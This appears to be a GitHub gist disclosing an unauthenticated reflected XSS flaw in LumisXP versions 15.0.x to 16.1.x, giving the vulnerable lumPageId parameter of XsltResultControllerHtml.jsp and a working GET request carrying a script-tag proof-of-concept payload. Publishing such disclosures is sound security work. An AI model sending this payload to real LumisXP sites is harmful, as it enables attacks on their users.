Skip to content

Instantly share code, notes, and snippets.

@rodnt

rodnt/xss-lumisxp.md

Last active June 12, 2024 15:09
Show Gist options
  • Save rodnt/51ae2897abfff1bdcedccf72edbf3d24 to your computer and use it in GitHub Desktop.
Save rodnt/51ae2897abfff1bdcedccf72edbf3d24 to your computer and use it in GitHub Desktop.
Download ZIP
Unauthenticated XSS Lumisxp 15.0.x <= 16.1.x XsltResultControllerHtml.jsp
Raw
xss-lumisxp.md

Description

Lumisxp versions 15.0.x to 16.1.x have an unauthenticated XSS vulnerability in the XsltResultControllerHtml.jsp page, specifically in the lumPageId parameter.

Request

Payload:

  • GET request:

    GET /portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=%3cscript%3econfirm(1)%3c%2fscript%3e&xslContentFilePath=

  • Request Proof:

    Request Proof

  • Execute Payload:

    Execute Payload

Author: Rodolfo Tavares

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment